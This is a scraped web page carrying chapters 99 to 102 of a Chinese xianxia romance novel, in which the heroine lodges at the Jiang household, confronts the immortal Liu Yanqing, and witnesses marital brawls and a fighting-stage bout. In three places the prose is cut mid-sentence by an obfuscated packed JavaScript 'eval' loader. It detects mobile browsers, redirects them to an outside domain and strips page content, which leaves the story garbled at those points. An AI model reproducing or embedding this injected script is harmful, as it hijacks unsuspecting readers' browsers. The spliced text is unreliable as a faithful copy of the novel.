“你到底什么时候告知我一切啊……就我,一无所知……” 次日,我缩在茶楼最不起眼的角落,压低斗笠,恨不得整个人嵌进墙缝里。 江家的侍从满城找我,拿着画像四处问过路的人,不晓得还是我是什么通缉犯呢。 见他们走远,我才舒了口气,转进临街的茶楼。可不能错过了今日茶博士准备两女争一男的爱情故事。 刚端起茶盏,眼前的光线突然一暗。 抬头,江御白那张俊脸近在咫尺,眼底翻涌的情绪几乎要把我烫穿。 “魏风!” “江、江大人……好巧。” 我干笑两声,不动声色往一旁挪动,不敢看他炙热的眼睛。 “新婚第二天就满城追着一个姑娘跑,您不怕京都百姓看笑话吗?” 他充耳不闻,一把攥住我的手腕,上上下下细细打量我。 “你有没有受伤?让我看看——” 我猛地抽回手,故作平静道:“江大人,做事能不能过过脑子?您现在是有家室的人!” “若不是当年你见到贺家三将军,二话不说就要去报恩,结果……” 他喉结滚动,眼眸低垂,声音哑得不成样子。 “我们再收到你的消息,已是死讯。” “报恩?” 我眯起眼,迅速在脑中串联线索。 “所以四年前,江大人也知道我和贺祈源的婚约?” 他瞳孔骤缩,仿佛被我捅了一刀,大惊失色。 “你、你就这么轻描淡写地提?!魏风!你都不觉得亏欠我吗?!” 啊……又是个上门来讨债的,幸亏我早有准备。 我颔首诚恳道:“抱歉,我不记得和您有过什么。而且您都成亲了,这些旧事不该放下了吗?” “哪儿放得下!” 他突然闷哼一声,别过脸去。 “你先抛下我的,我连生气的资格都没有吗?!” ……这江大人,还是个傲娇啊。 我顿感棘手,平生第一次对付这等性子的娃娃,只好敷衍地拱手赔笑。 “是是是,您说得对,是我不好。” 江御白更气了,嘴唇抿成一条线,眼角却偷偷瞟我。发现我在看他,立刻“哼”地一声把头扭得更远,活像只炸毛的狸奴。 “那个,江大人?您找我,不会只是为了发泄这些年的怨气吧?” “不行吗!” “行行行,当然行。那……我该怎么赔罪?您总不缺银子吧?” 要钱我也没有。 他忽然转回头,目光灼灼:“你住到江府来。” “……嗯?” 我差点被茶水呛死。 “您是不是忘记了什么重要的事?你昨天刚拜过堂啊!” “没忘。” 他理直气壮,丝毫不介意我所谓之事。 “又没让你嫁进来,只是住下,省得我天天派人满城搜你。” “不是……您……您一个新婚燕尔的男子,强邀陌生女子入府……成何体统!能不能考虑一下名节?!” “我不管。”他端起茶盏一饮而尽,“你喝完手中这杯,就跟我走。” 简直不可理喻! 我彻底怒了,拍案而起,指着他鼻子破口大骂。 “你以为你是谁?!仗着家大业大就能为所欲为?所有人都得顺着你是不是?!” 然后…… 我把人骂哭了。 “呜……哇啊啊啊——” 方才还盛气凌人的江大人,突然趴在桌上嚎啕大哭。街边路人、茶楼听客纷纷驻足回首,探头寻找声源。 “我寻你四年,日思夜想,你就这般待我……” “不是我——” “呜啊————” 啊啊啊啊啊,脑子快炸了。 我手忙脚乱去捂他的嘴,五官皱成一团赶忙安慰:“别哭了!好好好,我跟你走!” 哭声戛然而止。 江御白抬起头,脸上半点泪痕都没有,一把拽起我就往外拖。 “那走吧,午膳时辰到了。” “……?” 这人有病吧!!! 99. 一叶轻舟 于是,我被迫暂住江府客房,每日承受来自刚过门不久的江夫人如刀似剑的目光。 更煎熬的是,江御白坚持每顿饭都要唤我去正厅,与他们夫妻同席。 入府三日,我没吃过一顿饱饭。 谁人能懂这是何等尴尬的场面! 坐如针毡,我随便吃了点起身准备逃离这是非之地。 “又只吃这点,你看你都瘦成什么样了。” 江御白闲事儿不大,竟亲自夹了块肥肉放进我碗里。 我看着碗里的“有毒之物”,偷眼去瞧桌对面的江夫人。她执箸的手微微一顿,玉镯与桌面磕碰发出清脆一响。 心猛地提了一下,身子直冒虚汗。 “我自己来!江大人专心吃自己的。” 我慌忙按住碗沿,挡开江御白伸来的筷子。 “就是见你总不动筷才替你夹的。”江御白竟皱起眉头,反倒先生气,“这般不知好歹,饿死在这儿可没人收殓!” “不至于不至于……” 我硬着头皮咽下鱼肉,又偷瞥江夫人。 她神色如常,连眼睫都不曾颤动半分。 这般平静,反倒更叫人胆寒。 我默默放下筷子,端正姿态道:“要不……我还是去住客栈吧。多有叨扰,感谢大人夫人近来关照。” “不行!” 江御白突然拍案,碗碟叮当作响。 “你人生地不熟又失了记忆,若遇上歹人如何是好?空着的院落多的是,安心住下!” 我望着他理直气壮的模样,又瞥见对面江夫人眼底闪过的寒光,后背已然沁出一层冷汗。 江御白莫非是讨厌我,估计留我在此折磨我?? “江夫人明鉴!我发誓对江大人绝无非分之想!我们素不相识,更不会做出任何逾矩之事!” 待江御白出门后,我悄悄溜到后院寻江夫人解释。 此事必须说清楚!否则在找到第九个男人之前,我就要背上“插足婚姻”的无端罪名含冤而死啊! 江夫人挥手屏退侍女,将绣绷重重掷回篮中。 “我信不过的是那个负心汉。” “负、负心汉?” 是在说江御白?她生气的不是我? 我突然放心了些。 江夫人目光决绝地盯着某处道:“刚定下的婚约,他认识你后说退就退!如今你又突然出现,谁知道他会不会做出休妻这等混账事!” 想不到二人之前还发生过这等事? 不,是三人。 我连忙拍胸脯保证:“夫人放心!我绝对站在您这边!等我找到最后一个人,立刻离开江家!” “什么最后一个人?” “呃,说来话长,反正我此番是来寻——” 话音未落,我浑身一颤,踉跄着后退两步。 三个人的情爱戏文!男人! 倏然间,我茅塞顿开,恍然大悟。 江御白是最后一个人!九个人凑齐了!我怎么现在才反应过来! “夫人恕罪!我有急事必须立刻出门!” “你慢些跑!当心摔着!” 江夫人的叮嘱飘散在风中,而我已提着裙摆飞奔而去。 我跌跌撞撞冲回当初分别的客栈,可时隔三日,店小二哪里还记得柳砚清的去向。 对着腕上的神石千呼万唤也无人应答,跑遍我们曾驻足之处皆寻不到那抹白衣。 不靠谱的柳砚清! 也罢,眼下还有更要紧的人要见。 “不好意思!京都供奉神仙的地方在哪儿?” 我随手抓住一个路人询问。那人挠头不解。 “神像?祠堂、道观、寺庙多得是,姑娘要拜哪路神仙?” “我要找……”我急得跺脚,“就是天上来的神仙!蓬莱仙岛的神君!” “哦~”路人恍然大悟,指向东南方一座云雾缭绕的矮山,“那山上有座冷清庙宇,供着位上神。香火稀落得很,也不知管什么事的,姑娘不妨去碰碰运气。” “多谢大哥!” 我冲进庙门便扬声唤道:“神像!大仙!爹爹!” “爹爹不在。” 清冷嗓音自背后响起,我猛地转身。 “哥哥?” 我三步并作两步跑到他跟前左顾右盼。 “爹爹呢?” “爹爹又去地府了。何事?问哥哥也行。” “话说哥哥怎么无处不在?做神仙那么闲吗?” 北雷无奈搬着我的肩膀转向一旁布满灰尘的神像。 “这里供奉的是我。” 我踮起脚凑近神像,被扬起的灰尘呛得直咳嗽:“咳咳……长得不像呢。” “凡人有没亲眼见过,自然不像。”哥哥突然伸手捏住我的脸颊,晃了晃,“赶紧说正事。” “黑无常说的最后一个人我找到了!可是,我左数右数也凑不齐九人呢。” “差了多少?” 我掰着手指数道:“我数数啊,闻、宁、夏、拓、江、贺,只有六个人,还差三个。” 北雷无奈喃喃:“傻妹啊,顾辞怎就不算呢。” 而后,他愣了一瞬。 “三个人?不是只差两人?” “当初神、爹爹确实说的九人啊?难道……颜卿和柳砚清,算作两人?” “重点跑偏了。” 北雷屈指弹我额头。 “问题不在算一个还是两个,问题是,为什么条件达成,你依旧没有恢复记忆。” 我揉着脑门,恍然清醒:“对啊!还是哥哥聪明。” 北雷袖中银索倏地滑出,在明光下泛着冷冽的寒光。他抻开银锁,扬起抹森然的笑,问道:“不如把砚清绑来问问?” 见哥哥这副兴致高涨的表情,让我不由得为柳砚清捏了把汗。 “哥哥这是要把他绑起来,抽打逼供吗?” “到时候哥哥会把鞭子交给你。” 我噗嗤笑道:“没那必要吧。” “南风。” 哥哥难得正色,我也收起嬉笑。 “你此番重生所走的路,不觉得很像被人刻意安排,早有预谋吗?” “……” 我怔怔望着哥哥严肃的神情。 这个想法早在军营时就产生过,但发生了太多,我无暇去顾及这些。 “哥哥的意思是,有人故意让我去经历这些?” “那个一直暗中注视你的人,知晓一切的人。他既不愿看你受伤,又一次一次将你带往是非之地。你不曾想过为什么吗?” “哪儿有……他……他就算再神通广大,也不可能左右所有的事吧。” 我顿时慌了神,语无伦次,手心冒汗。 “他只需要在重要的节点令你走向通往必然结果的路。” 哥哥叹息着扶了扶我的头顶。 “哥哥从来都只当个旁观者,见证了你们之间太多事,不愿去干涉。想着相爱之人再互相折磨,能折磨到何种地步。但这次……” 他垂眸,欲言又止。 “哥哥不想再看你们这般下去了。彼此折磨的结果,只会两败俱伤。” 我们在京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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觉醒后的南风与柳砚清同赴利州行医,结识少年宁安桥。一场争执后,南风怒而抹去这段初遇。 第二世,柳砚清未再以颜卿身份出现。 两位不善言辞的仙人爆发了最激烈的争吵。 南风独自逃往霜洲散心,意外重逢顾辞。 被方大仙发现后,再度被囚于蓬莱仙宫。 禁闭期间,她在梦中与宁安桥相会,恰逢玉笛降世。 重返信州与闻笙重聚时,玉笛意外害死张氏棋。 逃往京都的南风结识江家长子,忆起那个叫贺祈源的少年。 大婚之夜,夏逸飞血洗贺府后,南风再次奔向茫茫旷野…… “因为我两次结局都与他有关,你便从一开始就躲着我,避着我,宁愿暗中守护,只为等我忆起前尘,亲手将我推回他身边?” 柳砚清静立竹影间,眉睫凝霜:“是。” “……疯子。” 我猛地背过身去,胡乱抹了把脸。可眼泪偏不争气,越擦越多。气得我转身就是一脚,狠狠踹在他腿上。 他踉跄着后退,竹叶簌簌飞散,整个人几乎跌进那片柔软的翠色里,月光映着他错愕的神情。 我从未见过这位清冷仙人如此狼狈的模样。 “既然这么想看我与别人双宿双飞,那你就继续看着好了。” 我攥紧拳头,指甲深深陷进掌心,却浑然不觉疼痛。 “反正……看着我死在你面前,你也不是第一次了。” 100. 红蓼花繁 江府。 我呆坐在江夫人身边,怀里抱着她刺绣用的线团,手指无意识地缠着丝线,又松开。目光空洞地盯着她手中绣绷上渐渐成形的芍药花,一针一线,刺得我眼睛发酸。 “何事失落到这般地步?昨日去看了什么感天动地的悲剧吗?”江夫人手上动作不停,语气淡淡地揶揄。 我闷闷地应了一声,嗓音还带着点哑。 “嗯……哭到差点死掉了。” 江夫人手上针线一顿,侧眸瞥了我一眼,没接话。 我干坐在那儿,越想越气,昨日柳砚清那堆屁话在脑子里嗡嗡作响,气得我狠狠跺了两下脚,连带着坐榻都跟着晃了晃。 “死骗子,老娘——” 骂人的脏话堵在口中吐不出。我只有愤愤对着空气出了一拳,额头抵上石桌,如敲鼓般有节奏地撞击。 默不作声盯着我的江夫人忽然开口:“去街上买些甜食糕点回来。” “是。” 一旁的侍女应声后欠身退下,脚步声渐远,后院转眼只剩我们二人。 “同我说说吧,何事那么烦闷?” 她放下绣绷,双手交叠搁在膝上,狐疑地打量着我,眼神犀利得像能直接扎进我心里。 “因为……男人。” 果然,江夫人一听“男人”二字,白眼翻得夸张又刻意,恨不得把眼珠子甩到我脸上。 “没点出息。” “……” 我瘪着嘴没敢吭声。她说得对,我连反驳的底气都没有。 “男人的话没一句信得,说得再好听都是废话。既然是放屁,你何苦放在心上?” 她指尖点了点我的额头,力道不轻不重,却戳得我往后一仰。 “可是……”我揉了揉被戳的地方,“我当真与他深情义重,爱到无法自拔……” “那又如何?能当饭吃吗?能保你一生平安顺遂吗?” 我刚想张嘴,她直接一抬手,斩钉截铁地截断我想说的话。 “不能吧。到头来还把你自己搞得要死不活,寻死觅活,苟延残喘。” “话是这么说……” 我垮着脸,长长地叹了口气,整个人像被抽了骨头似的瘫软下去。 “事情已经这样了,我能怎么办……真的很痛苦嘛……” 思绪总无比渴望地向柳砚清迈出步伐,睁眼闭眼皆是那副淡漠人世的脸。如有利刃,刨开心肺,里面写满了相同的名字。 “那就去做点别的,统统忘干净。” “啊?” 自那日后,江夫人便时常拽着我往勾栏瓦肆里钻。今日梨园听戏,明日茶楼品茗,硬生生把我那些伤春悲秋的时辰挤得一点不剩。 这段时日幸而有江夫人陪着,我的心神渐渐稳定了些许,除了睡梦中频繁梦到那人以外,白日里无暇去想他。 京都够大,江夫人花了好长时间才带我走了个遍。 “我听说你出生在东海的一个岛上?你们家世代捕鱼为业?” 茶楼里,江夫人捏着茶盏,眼角余光斜睨着我。 “当然不是。不过靠着海边的……普通镇子。” 除了吃茶听戏,江夫人还酷爱把我当人偶打扮。胭脂铺里挑口脂,绸缎庄里选衣料,连银楼里的珠钗都要往我头上试个遍。 大街上我被迫跟在江夫人身后一刻不停歇。 “哪家姑娘生得那么糙?” 她忽然掐住我的下巴,温热的指腹在我脸颊上重重一抹,“这是去了什么地方吃苦?冰霜寒极之地吗?” “嗯,确实是……” 我正说着话,被迎面而来的一人撞到了肩膀,连带波及了江夫人。 “抱歉!” 那是一群人,男男女女手里拿着刀枪剑棍,还带着孩子,好不威风。撞到我的是为首的姑娘,幸而是个有礼貌的人,立马向我们道歉。 不过这声音为何那么耳熟? 我抬头与那姑娘对视。 “姜妍?!” “楚风!” 江夫人慢条斯理地掸着衣袖:“楚风?你不是姓魏?” 见江夫人态度不善,姜妍以为是找茬的路人,一把将我拉至身后护起来。 “我挚友姓楚名风,不许欺负她!” 我扯了扯姜妍的衣袖,“是认识的,江夫人没有欺负我。” 姜妍打量我一圈,确认安然无恙后问道:“当真?” “嗯嗯。江夫人是好人,正陪我在城中吃喝玩乐呢。” 本以为姜妍会消消气,想不到更恼了。手指轻柔地戳着我的脸颊,佯装愠怒。 “吃喝玩乐你不叫我!” 我失笑揉着脸:“姑奶奶,我都不知道你在京都啊。” 姜妍后知后觉,了然道:“对啊,这里不是信州。” 我和姜妍有说有笑,一旁的江夫人脸色明显渐差。我察觉到异样,赶忙轻咳打断和姜妍的嬉笑,压低声音悄悄对她说道:“你若在京都多留几日,我改日去戏班子寻你。” 姜妍挪动眼睛瞟了眼江夫人,了然道:“那说好了!要来啊!” “嗯。” 目送走姜妍,我悻悻回到江夫人身边,解释道:“信州认识的挚友……” 江夫人侧目看我,没好气地说:“跟我解释做什么?” 我做贼心虚似的转了转眼珠子,问道:“夫人不是生气了吗?” “啊?!”她尾音陡然拔高,眉头蹙起,“你哪只眼睛看出我在生气?” 我抱着手不敢直言:这副样子不是在生气那是在干嘛……比在府中凶江御白时差不到几分。 她忽然放轻了声音。 “我是见你还有心思和挚友打趣,欣慰你稍微好转了些。” 我怔怔望着她,连呼吸都放轻了。我并不知晓此刻的自己是副什么表情,但江夫人抬眸时,清晰可见地怔愣了瞬间,脸上随即漾开一抹明媚的笑。她转过身去,理了理披帛。 “走吧,带你去买两身干净衣裳。” “江夫人!” 我鬼使神差喊住她。 她脚步微顿,却没回头。街边叫卖声忽然远去,只余她发间步摇细碎的声响。 “为何……待我这般好?” 许久,久到日头从云层后探出打在她肩头。江夫人缓缓开口:“见你可怜罢了。” 最后一个字轻得像叹息,转眼就被街角传来的胡琴声吞没了。见她没想过多解释,我也没再追问。 江夫人抬步向前走去,我望着那抹渐行渐远的背影,冥冥之中感觉到有什么正准备破土而发。 江御白时常在公务间隙寻我,他晓得我常待在后院吃茶发呆。但每次来都有江夫人在,不免一场夫妻大战。 “你来做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056813|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”江夫人冷声问道。 江御白也毫不逊色,叉着腰直言:“这里是我家后院,来不得吗?” “男人和狗不得进入后院。” “哼,江府我说了算。” 你一言我一语,我夹在中间左右为难。 “那啥,江大人找我何事?就在这里说吧?若有难题,夫人也能帮忙一起想。” 我都给缓和的余地了,江御白这个没脑子的还敢说。 “她帮不上,不用。” “……” 真是烂泥扶不上墙。 江夫人果然气炸了,将手中的刺绣摔进竹筐内,勃然大怒地离开。我欲言又止,瞄了眼喜形于色的江御白,不知道该说什么好,无奈乖乖坐回原位。 “魏风,我有很重要的事想和你商量。不对,要跟你讲。” 江御白突然正襟危坐,态度认真地看着我。 想着江夫人也走了,我打断向他坦白一些事情。 “我不叫魏风,这个名字是当初随口取的假名。其实,是南风。” 他看着我,似乎还没搞清楚情况的样子。 “你不是魏风……那你是谁?!” “不是说了南风吗。” “意思是……我这么多年,都不知道你的真名?!” 我随口找了一个理由搪塞过去。 “当年是形势所逼,我不是故意骗你的。” 其实就是故意骗你的。 “我其实……不是凡人。所以当初无法告知你真实的姓名。” 他一愣。 “那现在为何可以?” “因为现在我只是一介凡人,没有法力。” 我坦然承认,他微微一愣。 在一阵沉默后,江御白低低地自言自语:“南风……南风仙子?你是……神仙?所以当初神不知鬼不觉地消失了吗……” 好在这个理由成功劝服住了江御白,他默默移开视线,盯着某处沉思,又看向我,肉眼可见他脸上的怒气和委屈顷刻消褪。 真好懂。江御白内里其实就是个傲娇的小孩儿吧。 我暗自打趣,他对此似乎毫无察觉,继续斟酌接下来要说的话。 江御白清了清嗓子,说道:“你若想抛却前缘,何不另寻他人?” 我似乎读懂了他的弦外之音,默不作声,以沉默代替我的回答。 偏偏忘了江御白可是个十足的傲娇,无论如何都不许人拒绝,骄横放肆、目中无人、养尊处优长大的公子哥。 江御白握住了我的手,真挚的目光盯着我。顿时,浑身起鸡皮疙瘩,我想拉开距离,他反倒凑得更近。 别凑那么近啊!江夫人看到我会死的! 我的手还在他手里,一抬头,便能对上他的视线,看见他微张的嘴唇离我仅剩一点点距离。 他该不会……偷袭我吧? 江御白就这么定定地看着我,说道:“魏风,嫁给我吧。” “啊?” 他当真知道自己在说什么荒唐话吗? 江御白认真而郑重地收紧握住我的手,重复道:“嫁给我吧,我娶你为妻。” 娶妻?那江夫人呢?休妻?还是沦为妾室?这人疯了吧! 他话音刚落,脚步声便在我们身后响起。我闻声回头,嘴巴长大,忘记呼吸。 “江、江夫人?!” 101. 云容皓白 “江夫人?!” 我吓得赶紧抽回手,本想习惯性跑到江夫人身边,后知后觉那边才是最危险的地方,立马转了个方向,躲在凉亭的柱子后面。 “江夫人你听错了!江大人跟我开玩笑讲故事呢!千万别当真!” 我话还没讲完,江夫人人已经冲向凉亭这边。 “对不起江夫人!我是无辜的,我——” 闭眼蹲下后,我听见一声凄厉的惨叫,来自江御白的。 夫妻大战一触即发。 江夫人上前一脚踹翻江御白,捞起桌上的茶壶,下一瞬—— 青色的茶壶碎裂,江御白的额头上鲜血顺着脸庞轮廓滑下。 我吓得倒吸了口冷气,不寒而栗;江御白捂着额头踉跄着后退,撞上梁柱后跌坐地面。 见手中的茶壶已然销毁,雷厉风行的江夫人又抄起桌上的竹筐里她平日刺绣的针。 “诶诶诶诶!不可以啊!江夫人,快住手!!!” 我冲上去抓住她的手腕,试图抢走针。 她好大的力气! “松手啊,针不可以!扎到穴位怎么办!” “你走开!” 江夫人一把推开我,屁股跌坐在地,感觉坐到什么尖锐的东西。 管不了那么多了! 好在趁乱我带走了她手里的针。见手中的东西不见,江夫人快速搜寻周围趁手的凶器,可目前除了石桌子和石凳子什么都不剩。 竹筐已经被我藏起来了。 但终究是徒劳。 “老娘打死你个傻逼龟儿子!” 熟悉的蜀话,好亲切。 不对不对,亲切个头啊!人都气得失去理智,要出人命了! 愤怒冲昏了头脑的江夫人不顾一切地朝已经昏倒的江御白挥动手中的拳头。支离破碎的骂声中,是哭声。 “老娘嫁给你简直瞎了眼,造了孽!打不死你个龟儿子!” “住手!你快住手,不要再打了!江夫人!!” 眼看事情发展到无法用语言劝阻的地步,我找准时机,冲上前打晕了怒火中烧的江夫人。 终于消停了。 我这才反应过来,刚刚的注意力全都放在两口子身上,丝毫没意识到自己被推开狼狈地跌坐在地时,屁股坐到了被摔碎的茶盏碎片。 “…………………………” 啊啊啊啊啊!!好痛! 忍着剧痛去前院找人来收拾了残局,待我回到房中已是黄昏。 “幸好穿了外层、裙罩、底裤……啊,裙子破了。暂且睡一觉养精蓄锐,明天再起来补吧。” 好累的一天,今夜只能趴着睡了。 倦怠困意,不一会儿我便沉沉睡去。 “好在只是皮外伤,没什么大碍。” 睡梦中,我感到似乎是有人掀开我的衣裳,正在替我检查屁股上的伤。直到冰凉的刺痛感传来,我猛地张开眼睛清醒过来。 是柳砚清?! 我别扭地回着头盯着他,他扬起一抹令人安心的笑,揉揉我的脑袋,关心地说道:“乖,待我把药上完。” “……” 虽然不清楚眼前的人怎么笑得出来,我们分明半月前刚争吵完不欢而散。 我盯着他望了许久,好一会儿没回过神来。看着他一点点在我屁股上涂抹药膏,唇中呼出温凉的气息喷在我裸露的皮肤上惊起一阵轻颤。 莫非是梦?可梦会有感觉吗?有的吧,否则春梦时怎会有欢愉之感? 既然是幻觉……我毫不犹豫地将他扑倒在床上。 疯长的思念助长了我的狂妄。 双手扼住他的喉咙,我俯下身,与濒临窒息之人交换潮热的吐息,用尽全力剥夺他腹腔中的最后一丝气力。 分明是春暖花开之际,却有如寒冬般的冰柱扎进心口。 片刻后,我松开了手,身下之人剧烈地咳嗽起来,大口喘息。 “仙人应该没怎么体会过这般死亡逼近的感受吧。” 柳砚清睁开眼,抬眸看我,他的领口敞得开了一些,深邃的眸子里晕染着水汽。 “你恨我?” “我当然恨你。”我的回答直截了当。 “何不一刀杀了我?” 我冷笑,“幻境里的人,杀了有何用?” 没错,这里是我的幻境,眼前的人并非真实的柳砚清,而是我思念成疾变幻出的幻影。 “何况,杀了你,又能改变什么吗?难道能时光倒流,让一切都回归到从未发生的那一天吗?”我摇了摇头,“我不想回去。因为那个人世间,没有你。” 三千多年孤寂的生活,直到遇见你才抹上了色彩。 是如梦境般,不愿醒来。 “那该怎么办?” 他绝望的目光望向虚无,指尖却攥紧了我的衣角。 柳砚清:“你舍不得,我离不开,我们却又无法放下一切共度此生。” 我伸出手轻拂过他的脖颈,说道:“是啊。怎么办?仙人聪明,想个办法吧。” 他轻笑一声,“哪儿有聪明可言,简直愚笨到步步走,步步错。” 我忍不住笑,轻轻地凑在他的喉结处吻了一下,调皮的舌尖在喉间凸起处打了个圈。感受到身下之人因为碰触越来越紧绷的肌肉、蹙起的眉头、唇缝溢出的气息。 “真想直接把你吃了,解我心头之气。” 我笃定地看着他,柳砚清的视线却看向我的额头。 “怎么额头也受伤了?撞到哪儿了?” 他抬手想要触碰,被我用手挡开。 “这不重要。” 可垂眸又看到他眼里的担忧,我沉下气安慰道:“不碍事,脑子乱得厉害,自己在石桌上嗑出来的。” 柳砚清顿了顿,又在我耳边轻声开口:“累了,歇息吧。” 可暧昧的情愫在房间里不断升腾弥漫着,哪里还睡得着。我扬起下颌,居高临下地睨着柳砚清。 “仙人耐力不行啊,现在求饶还来得及。” “反正我怎么都是你的,你做什么我都愿意。” 柳砚清勾出一抹缱绻温柔的笑,将我揽进怀里。 “下次……再继续吧,如果你还想见我的话。” 我愣神片刻,不禁抬眸望着他近在咫尺的下颌线问道:“什么意思?这里不是我的梦?你是柳砚清本人??活的???” 一时之间,我与柳砚清四目相对,谁也没再开口。 那双会说话的眼睛告诉了我答案。 是活的,是本人。 我不禁心里咯噔一下,咽了口气,迟疑地开口:“你怎么知道我受伤的?又是心灵感应吗?” “嗯。听到你的呼唤,我便来了。” “……我哪儿有呼唤你,乱讲话。” 修长的手指点了点我的心口,蕴含了仙力的指尖触碰到我时,发出小小的光亮。 “这里,一整天都在念叨我的名字。处理完其他事,我就立刻赶来了。恰好撞见你受伤,便给你上了药。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056814|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看着我,无比认真地说着、许诺着。 “且当是场梦吧,忘了今夜发生的一切,睡罢。” 原来刚才的光亮是消除我记忆的仙术。 脑袋变得昏昏沉沉,最后的意识里,我看见柳砚清凑近在我眉间落下一吻,之后…… 没有之后了。 “大人在哪儿?” “应该在后院。夫人也在,不许我们靠近,生怕他俩又吵起来……” 抓了江府路过门外的侍女询问,听罢,我连忙赶去了后院。 平日喧闹的后院,此时安安静静,岁月静好的样子。江御白喝着手中的茶,江夫人关注在手中的刺绣,完全没有昨日大打出手的气氛。 江御白的额头包着纱布,脸颊和眼睛淤青的地方清晰可见。 我悄悄靠近凉亭,两人一同抬头看我,并未意外我的到来。 “夫人,我有话相同江大人说。” 此话一出,两位听者顿时各自演变出不同的表情。我下意识先看向江夫人,再看江御白。 江夫人盯着我,眸光里的寒气更甚。 这种时候不能心虚!我是为正经事来的,千万别误会! 我用表情告知江夫人内心的话,单方面肯定她是明白了我的意思。 不久,江夫人默默起身,留下我和江御白两人在后院。他欣喜地为我陈了杯茶,我只瞄了他一眼便没再看他。 决不能再做出任何有误解的动作和话语。 我一口饮尽杯中茶,压下内心的顾虑,开口问道:“江大人是否知道当年我将贺祈源埋在了哪里?” 江御白是我上一世回忆起贺祈源的关键,所以他一定知道写什么。 没好气的江御白摇了摇头,端起茶说道:“这我可——” 我直言打断他:“是一片花海。你一定知道的,对不对?” “我不知道!” 江御白恼怒地站起身,“我与你相识时,你与他已是第二次见面。抛下我不管不顾后,现在又来问我他被你埋在哪儿?你是故意恼我吗!” “我不是……”我吞吞吐吐地回道,低垂下头,长叹一声,“我为前世对你做的事道歉,只要是我能做的,我答应你。但前提是,不能伤害江夫人。该报的恩,该还的债,我想在此生结束前,一并还清。” 江御白蹙眉瘪嘴瞪着我,情绪变得有些古怪。 “寻死觅活,要死不活,你嘴里能不能说点好听的!” 他居然气到骂我,只是这话同江夫人说的,几乎一模一样。 我被他骂得一滞,江御白脸上怒意浮现,劈头盖脸提高些音调对我道:“这世间到底有什么不值得你留念的?!” 我动动嘴唇,欲言又止:“我……” “重来几次都不长脑子,学不聪明!” “……” 别骂了,好不容易长点脑子,待会儿又给骂没了。 江御白忽地把脸靠近,我避之不及,幸而没有发生什么意外。 “你是因为不想做妾,所以要走吗?” 我眉头跳了一下,有些难以启齿,但还是咬了咬唇,硬着头皮说出了口:“抱歉,你说的那件事,我压根没听……” “哼。” 江御白抱着双臂冷哼一声,横了一眼。 “等着瞧吧,明天,文武双全的江大人,就去擂台证明我的实力!” 我目瞪口呆望着眼前突然站上石桌,双手叉腰耀武扬威的江御白。 “啊?擂台?” 102. 云散更深 喧闹的大街上,我拉着江夫人紧赶慢赶地朝某处去。 昨日刚挨了揍的人现在正站在京都城中,每日围满江湖侠士的比武擂台上。 江御白抱剑倚在擂台柱上,骄矜一笑:“三招之内若不断你兵刃,今日便算我输。” 台下围观的人群半数叫好半数唱衰,擂台对面的壮汉不以为然,摆了摆头,根本没把江御白放在眼里。 我皱了皱眉,凑到江夫人耳边。 “真不不用上去拉他下来吗?会出人命吧……” 江夫人不以为然,全然一副等着看热闹,等着看江御白出糗的表情,轻飘飘地说道:“出了才好。” 我:“……” 这两人难怪是夫妻啊。 壮汉见江御白迟迟赖在台上不走,嗤笑一声。 “江大人对江湖比武是否有什么误解?”对方晃了晃自己的拳头,“赤手空拳地打,不能使用武器。” “不用就不用。” 江御白把剑丢在一旁,活动筋骨,一副胜券在握的架势。 “今天就是证明我江御白是个文武双全天降奇才的时候!” 江御白话音未落,那壮汉已如猛虎般扑来。砂锅大的拳头裹挟着风声,直取他面门。 “小心!”我忍不住惊呼。 江御白仓促抬手格挡,“砰”的一声闷响,整个人踉跄着后退三步,险些栽下擂台。 他扶着擂台立在四个角的木柱艰难起身,手背擦去嘴角的血说道:“我江御白做事从来光明磊落。不学某些厚颜无耻之徒,只敢用偷袭取胜!” “打得过就打,打不过就滚。江大人何必在这儿跟我扯淡,赶紧滚下去。” 第二拳来得更快。这次直接轰在他腹部,江御白顿时弯成虾米,一口酸水喷了出来。 “不错嘛江大人,能挨下我两拳还不死。”壮汉好整以暇地活动手腕。 我急得直跺脚:“夫人听到没!那家伙铁了心要下狠手啊!我去拉他下来。” “站住!” 江夫人呵斥一声制止我,眼神警告我不准轻举妄动。 江御白颤巍巍直起身,突然一个趔趄。 原来是被自己方才丢掉的剑绊倒了。 壮汉见状哈哈大笑,拎小鸡似的把他提起来,一个过肩摔…… 接下来的画面过于血腥暴力,实在不敢看了。 鼻青脸肿的江御白畏葸不前,左眼肿得只剩一条缝,右眼角还挂着未干的血迹。我刚想出声劝阻,对方又是一记重拳砸在他脸上。 “江御白!” 江夫人愣在原地无动于衷,我只好冲上擂台扶起地上奄奄一息,吊着最后一口气的江御白。 “你没事吧?” “我……的颧骨好像断了……你快看看,我是不是破相了……”他气若游丝地说,突然挣扎着抓住我的衣袖。 这种时候还关心相貌呢! 他挣扎着想起身,我立马叱喝道:“别动!待会儿疼得更厉害!” 话音未落,就听见他疼得倒抽一口冷气。 